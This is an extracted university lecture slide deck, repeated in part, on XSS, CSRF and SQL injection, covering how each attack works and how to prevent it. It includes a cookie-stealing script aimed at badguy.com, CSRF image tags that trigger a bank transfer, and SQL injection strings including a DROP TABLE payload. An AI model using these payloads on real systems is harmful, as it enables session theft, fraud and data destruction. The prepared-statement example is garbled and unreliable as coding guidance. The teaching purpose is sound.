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CSCD 303Essential ComputerSecurityFall 2017
Lecture 18a – XSS, SQL Injection and CRSF
Reading: See links - End of Slides
Overview
• Idea of XSS, CSRF and SQL injection is to violate the security of the Web Browser/Server system
• Inject content on web pages that trick users or
• Inject content on web pages that trick web servers
• Result is stolen resources or destruction of information
Web Based Attacks
Application LayerAttacker sends attacks inside
valid HTTP requestsYour custom code is tricked
into doing something it should not
Security requires software development expertise, not signatures
Network LayerFirewall, hardening,
patching, IDS, and SSL cannot detect or stop attacks inside HTTP requests.
Security relies on signature databases
Firew
all
Hardened OS
Web Server
App Server
Firew
all
Datab
ases
Le
gacy S
ystem
s
Web
Serv
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Dire
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Hu
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Billin
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Custom Code
APPLICATIONATTACK
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Fin
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Kn
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Insider
Types of Web Attacks
• What kinds of Web attacks are popular?• Inadequate validation of user input Named Attacks Below
– Cross site scripting, XSS– Cross site request forgery, CSRF– SQL Injection
Cross-site Scripting (XSS) • Cross-site scripting (XSS) computer security
vulnerability typically found in web applications– “Allows code injection by malicious web users into
web pages viewed by other users”• Examples of such code include HTML code and client-
side scripts• An exploited cross-site scripting vulnerability can be used
by attackers to bypass access controls such as same origin policy for scripts– As of 2017 cross-site scripting is among the top 10
web site problems
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_2017_Project
Same Origin Policy Web Scripts, Recall ….• Intent is to let users visit untrusted web sites without those web sites interfering with user's
session with honest web sites
• Same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin
• Two pages have same origin if the protocol, port (if one is specified), and host are the same for both pages
http://www.w3.org/Security/wiki/Same_Origin_Policy
URL Outcome Reason http://store.company.com/dir2/other.html Success http://store.company.com/dir/inner/another.html Success https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html Failure Different host
Example Websites XSS’d• A hacker was able to insert JavaScript code into the
Obama community blog section– The JavaScript would redirect the users to the Hillary Clinton
website http://www.youtube.com/watch?v=pAS7kCgjkEw http://www.crn.com/news/security/207401353/ obama-website-hacked-users-redirected-to-clinton-campaign.htm
• Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs
• List of websites XSS are here http://www.xssed.com/archive
• Example of XSS Attackhttp://www.acunetix.com/websitesecurity/xss/
9
Cross Site Scripting (XSS)
• Recall …– Scripts embedded in web pages run in browsers– Scripts can access cookies
• Get private information– Manipulate page objects
• Controls what users see– Scripts controlled by same-origin policy
• How could XSS occur?– Web applications often take user inputs and use
them as part of webpage
XSS Example • User input is echoed into HTML response• Example: Search field
– http://victim.com/search.php ? term = apple search.php responds with this page:
<HTML> <TITLE> Search Results </TITLE><BODY>Results for <?php echo $_GET[term] ?> :. . .</BODY> </HTML>
• Is this exploitable?
XSS ExampleAttacker’s Bad input
• Problem: No validation of input term • Consider this link: http://victim.com/search.php ? term =
<script> window.open(“http://badguy.com?cookie = ” + document.cookie ) </script>
• What if user clicks on this link?1. Browser goes to victim.com/search.php2. Victim.com returns
<HTML> Results for <script> … </script>Browser executes script:
• Sends badguy.com cookie for victim.com
XSS Results of this Attack• Why would user click on such a link?
– Phishing email in webmail client (e.g. gmail).– Link in doubleclick banner ad– … many, many ways to fool user into clicking
• What if badguy.com gets cookie for victim.com ?– Cookie can include session authentication for
victim.com• Or other data intended only for victim.com
⇒ Violates same origin policy
XSS Example
• However, there is a great site with many cut and paste opportunities to try this out
A complete How to for XSS: https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
Preventing XSS
• Escape all user input when it is displayed– Escaping converts the output to harmless html
entities• <script> becomes <script> • but still displayed as <script>
– Methods:• OWASP ESAPI• Java Standard Tag Library (JSTL) <c:out/>
OWASP XSS Prevention Cheat Sheet https://www.owasp.org/index.php/ XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
Preventing XSS Security Expert Coding Recommendations
http://www.jtmelton.com/tag/cross-site-scripting/
.NET: use the Microsoft Anti-XSS Library http://msdn.microsoft.com/en-us/security/aa973814.aspx
XSS Prevention
Noscript Firefox Add-on• Noscript: JavaScript, Java, Flash Silverlight and possibly other executable contents are blocked by default
– Will be able to allow JavaScript/Java/... execution (scripts from now on) selectively, on the sites you trust
– Must first enable Javascript in Firefox http://noscript.net/features
Cross Site Request ForgeryCSRF
What is Cross Site Request Forgery?
Define it Cross-Site Request Forgery (CSRF) is an attack that
tricks victim into loading a page that contains a malicious request
It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf
• Change victim's e-mail address,• Change home address, or • Change password, or purchase something
3
2
Attacker sets the trap on some website on the internet(or simply via an e-mail)
1
Vulnerable site sees legitimate request from victim and performs the action requested
<img> tag loaded by browser – sends GET request (including credentials) to vulnerable site
Custom Code
Accou
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Fin
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Ad
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Com
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Kn
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Hidden <img> tag contains attack against vulnerable site
Application with CSRF vulnerability
While logged into vulnerable site,victim views attacker site
Cross Site Request Forgery (CSRF)•C
Cross Site Request Forgery, also XSRF or Cross Site Reference Forgery– Works by exploiting trust of site for the user– In the case of XSS, the user is the victim– In the case of CSRF, the user is an accomplice.
Example: http://site/stocks?buy=100&stock=ebay– Allows specific actions to be performed when requested
If a user is logged into site and an attacker tricks their browser into making a request to one of these task urls, then task is performed for logged in user … but the user didn’t intend to do it
Dangers of CSRF• Most of the functionality allowed by website can be
performed by an attacker utilizing CSRF• What does this mean for victims?
– This could include• Posting content to a message board,• Subscribing to an online newsletter,• Performing stock trades, using a shopping cart, or• Even sending an e-card
CSRF More Details• The most popular ways to execute CSRF
attacks• Using a HTML image tag, or JavaScript
image object– An attacker will embed these into an email or
website so when user loads page or email, they perform a web request to any URL of attackers liking
• Examples follow
CSRF Code Examples• HTML Methods
IMG SRC <img src="http://host/?command">
SCRIPT SRC <script src="http://host/?command">
IFRAME SRC <iframe src="http://host/?command">
• JavaScript Methods
'Image' Object <script> var foo = new Image(); foo.src = "http://host/?command"; </script>
Another CSRF Example
• Say, online banking site performs a transfer of funds action by calling a URL such as:
http://bigsafebank.com/ transfer.do?acct=ATTACKER&amount=1000
– This URL will transfer $1000 from a victim’s account into the attacker’s account if the victim is logged into their account within
BigSafeBank website
CSRF Example• Attacker must fool victim into clicking link and
executing malicious action• Attacker can create an HTML email with a tag
such as: <img src="http://bigsafebank.com/transfer.do?
acct=ATTACKER&amount=1000" width="1" height="1" border="0">
• When a victim views this HTML email,• Will see an error indicating that image could not
be loaded, • But browser still submits transfer request to
bigsafebank.com without requiring any further interaction from the user
CSRF Example
• Crazy part is … Even though the image was rendered unsuccessfully,
• Using <img> tag, an automatic http request was made that contained the victim's credentials,
• Ie. Session Cookie• Allowing the server to perform the malicious
action
CSRF Why Does it Happen
• A web application's vulnerability to CSRF is due to the following conditions:– The use of certain HTML tags will result in
automatic HTTP Request execution.– Our browsers have no way of telling if a
resource referenced by an <img> tag is a legitimate image
– The loading of an image will happen regardless of where that image is located.
CSRF Why Does it Happen
• More reasons why ...– Code within web application performs security
sensitive operations in response to requests without validation of user
– GET requests are especially vulnerable to this type of attack, but POST requests are not immune
Fixing CSRF with CSRF Guard http://www.owasp.org/index.php/How_CSRFGuard_Works
• The Open Web Application Security Project (OWASP)• Developed a tool, CSRF Guard to implement session-token idea to thwart CSRF attacks• When user first visits site, application will generate and store a session specific unique request token• This session specific unique request token is then placed in each form and link of HTML response, ensuring that this value will be submitted with the next request• For each subsequent request, application must verify existence of unique token parameter and compare its value to that of value stored in user's session
SQL Injection
SQL Injection
• Very Common vulnerability (~71 attacks/hour )• Exploits Web apps Use Databases
– Poorly validate user input for SQL string literal escape characters, e.g., '
– Do not have strongly screened user input • Example – escape characters"SELECT * FROM users WHERE name = '" + userName + "';"
• If userName is set to ' or '1'='1, the resulting SQL is SELECT * FROM users WHERE name = '' OR '1'='1';
• This evaluates to SELECT * FROM users ⇒ displays all users
SQL Injection
• Example – Select statement "SELECT * FROM userinfo WHERE id = " +
a_variable + ";"– If programmer doesn’t check a_variable is a
number, attacker can set a_variable = 1; DROP TABLE users– SQL evaluates to SELECT * FROM userinfo WHERE id=1;DROP
TABLE users; – Result of this query?– Users table is deleted
Impact of SQL Injection - Dangerous
• At best: you can leak information• Depending on your configuration, a hacker can
– Delete, alter or create data– Grant direct access to the hacker– Escalate privileges and even take over the OS
Preventing SQL injection • Use Prepared Statements
– $id=1234– “select * from accounts where id = “ + $idNext one is safer – More exact– “select * from accounts where id =1234”
• Validate input– Strong typing
• If the id parameter is a number, try parsing it into an integer– Business logic validation
• Escape questionable characters– ticks, --, semi-colon, brackets
OWASP Cheat sheet https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Summary
• Experts suggest,– Internet Security model is completely flawed– Made worse by Web 2.0– As developers … we can at least ensure our
code is not broken– As users … we have far less control– Browser security !!!!
References• CSRF Links
– CGI FAQ on Cross Site Request Forgery (CSRF) http://www.cgisecurity.com/articles/csrf-faq.shtml
– Art of Software Security Assessment – Same Origin http://taossa.com/index.php/2007/02/08/same-origin-policy/
– OWASP CSRF Sitehttp://www.owasp.org/index.php/CSRF
– MSDN Article on CSRF Explainedhttp://msdn.microsoft.com/en-us/testing/cc664492.aspx
– Wikipediahttp://en.wikipedia.org/wiki/Cross-
site_request_forgery
References
XSS http://www.cgisecurity.com/articles/xss-faq.shtmlhttp://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.htmlhttp://www.cgisecurity.com/articles/xss-faq.shtmlhttp://msdn.microsoft.com/en-us/testing/cc664492.aspxhttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
References
SQL Injection Cheat Sheethttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
SQL Preventionhttp://www.marcofolio.net/features/how_you_can_prevent_an_sql_i
njection.html
SQL Attacks from UnixWizhttp://www.unixwiz.net/techtips/sql-injection.html
OWASP SQL Injectionhttps://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat
_Sheet
End
Lab this week,XSS and CSRF and SQL Injection
11/15/17 4
Application LayerAttacker sends attacks inside
valid HTTP requestsYour custom code is tricked
into doing something it should not
Security requires software development expertise, not signatures
Network LayerFirewall, hardening,
patching, IDS, and SSL cannot detect or stop attacks inside HTTP requests.
Security relies on signature databases
Firew
all
Hardened OS
Web Server
App Server
Firew
all
Data
bases
Leg
acy System
s
Web
Se
rvices
Directo
ries
Hu
man
Re
srcs
Billin
g
Custom Code
APPLICATIONATTACK
Netw
ork L
ayerA
pp
licatio
n L
ayer
Acco
un
ts
Fin
ance
Ad
min
istration
Tran
saction
s
Co
mm
un
ication
Kn
ow
ledg
e Mg
mt
E-C
om
merce
Bu
s. Fu
nctio
ns
Insider
Ed-Main Point:
Application layer security works differently from network security.Teaching Points:
1. Explain the difference between network security and application security.
2. Why SSL is not enough.3. What are the bad guys after?4. Explain what a signature database is (notices if an attack is
happening).
5
11/15/17 7
Same Origin Policy Web Scripts, Recall ….• Intent is to let users visit untrusted web sites without those web sites interfering with user's
session with honest web sites
• Same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin
• Two pages have same origin if the protocol, port (if one is specified), and host are the same for both pages
http://www.w3.org/Security/wiki/Same_Origin_Policy
URL Outcome Reason http://store.company.com/dir2/other.html Success http://store.company.com/dir/inner/another.html Success https://store.company.com/secure.html Failure Different protocol http://store.company.com:81/dir/etc.html Failure Different port http://news.company.com/dir/other.html Failure Different host
11/15/17 8
Example Websites XSS’d• A hacker was able to insert JavaScript code into the
Obama community blog section– The JavaScript would redirect the users to the Hillary Clinton
website http://www.youtube.com/watch?v=pAS7kCgjkEw http://www.crn.com/news/security/207401353/ obama-website-hacked-users-redirected-to-clinton-campaign.htm
• Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, and Newsbytes have all had XSS bugs
• List of websites XSS are here http://www.xssed.com/archive
• Example of XSS Attackhttp://www.acunetix.com/websitesecurity/xss/
11/15/17 14
Preventing XSS
• Escape all user input when it is displayed– Escaping converts the output to harmless html
entities• <script> becomes <script> • but still displayed as <script>
– Methods:• OWASP ESAPI• Java Standard Tag Library (JSTL) <c:out/>
OWASP XSS Prevention Cheat Sheet https://www.owasp.org/index.php/ XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
11/15/17 15
Preventing XSS Security Expert Coding Recommendations
http://www.jtmelton.com/tag/cross-site-scripting/
.NET: use the Microsoft Anti-XSS Library http://msdn.microsoft.com/en-us/security/aa973814.aspx
11/15/17 17
Cross Site Request ForgeryCSRF
11/15/17 18
What is Cross Site Request Forgery?
Define it Cross-Site Request Forgery (CSRF) is an attack that
tricks victim into loading a page that contains a malicious request
It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf
• Change victim's e-mail address,• Change home address, or • Change password, or purchase something
11/15/17 19
3
2
Attacker sets the trap on some website on the internet(or simply via an e-mail)
1
Vulnerable site sees legitimate request from victim and performs the action requested
<img> tag loaded by browser – sends GET request (including credentials) to vulnerable site
Custom Code
Accou
nts
Fin
an
ce
Ad
min
istra
tion
Tra
nsa
ctio
ns
Com
mu
nic
atio
n
Kn
ow
led
ge
Mg
mt
E-C
om
merce
Bu
s. F
un
ction
s
Hidden <img> tag contains attack against vulnerable site
Application with CSRF vulnerability
While logged into vulnerable site,victim views attacker site
Ed-Main Point:
This is how a CSRF attack works.Teaching Points:
1. Attacker lures victim to read some malicious content (in web site or e-mail)2. Malicious request automatically sent to vulnerable site (if in IMG tag or something similar), or user might actually click on or submit something to initiate the request (i.e., phishing like attack).3. IF THE CONDITIONS ARE RIGHT, then the malicious request will include the victim’s credentials when sent to the vulnerable site. If it works, the unauthorized transaction will be accepted, or the unauthorized request will return sensitive data to the attacker.4. Regardless of success or failure of the attack, the attack itself is typically completely invisible to the potential victim.
29
11/15/17 30
SQL Injection
11/15/17 31
SQL Injection
• Very Common vulnerability (~71 attacks/hour )• Exploits Web apps Use Databases
– Poorly validate user input for SQL string literal escape characters, e.g., '
– Do not have strongly screened user input • Example – escape characters"SELECT * FROM users WHERE name = '" + userName + "';"
• If userName is set to ' or '1'='1, the resulting SQL is SELECT * FROM users WHERE name = '' OR '1'='1';
• This evaluates to SELECT * FROM users ⇒ displays all users
11/15/17 32
SQL Injection
• Example – Select statement "SELECT * FROM userinfo WHERE id = " +
a_variable + ";"– If programmer doesn’t check a_variable is a
number, attacker can set a_variable = 1; DROP TABLE users– SQL evaluates to SELECT * FROM userinfo WHERE id=1;DROP
TABLE users; – Result of this query?– Users table is deleted
11/15/17 33
Impact of SQL Injection - Dangerous
• At best: you can leak information• Depending on your configuration, a hacker can
– Delete, alter or create data– Grant direct access to the hacker– Escalate privileges and even take over the OS
11/15/17 34
Preventing SQL injection • Use Prepared Statements
– $id=1234– “select * from accounts where id = “ + $idNext one is safer – More exact– “select * from accounts where id =1234”
• Validate input– Strong typing
• If the id parameter is a number, try parsing it into an integer– Business logic validation
• Escape questionable characters– ticks, --, semi-colon, brackets
OWASP Cheat sheet https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
11/15/17 38
References
SQL Injection Cheat Sheethttp://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
SQL Preventionhttp://www.marcofolio.net/features/how_you_can_prevent_an_sql_i
njection.html
SQL Attacks from UnixWizhttp://www.unixwiz.net/techtips/sql-injection.html
OWASP SQL Injectionhttps://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat
_Sheet
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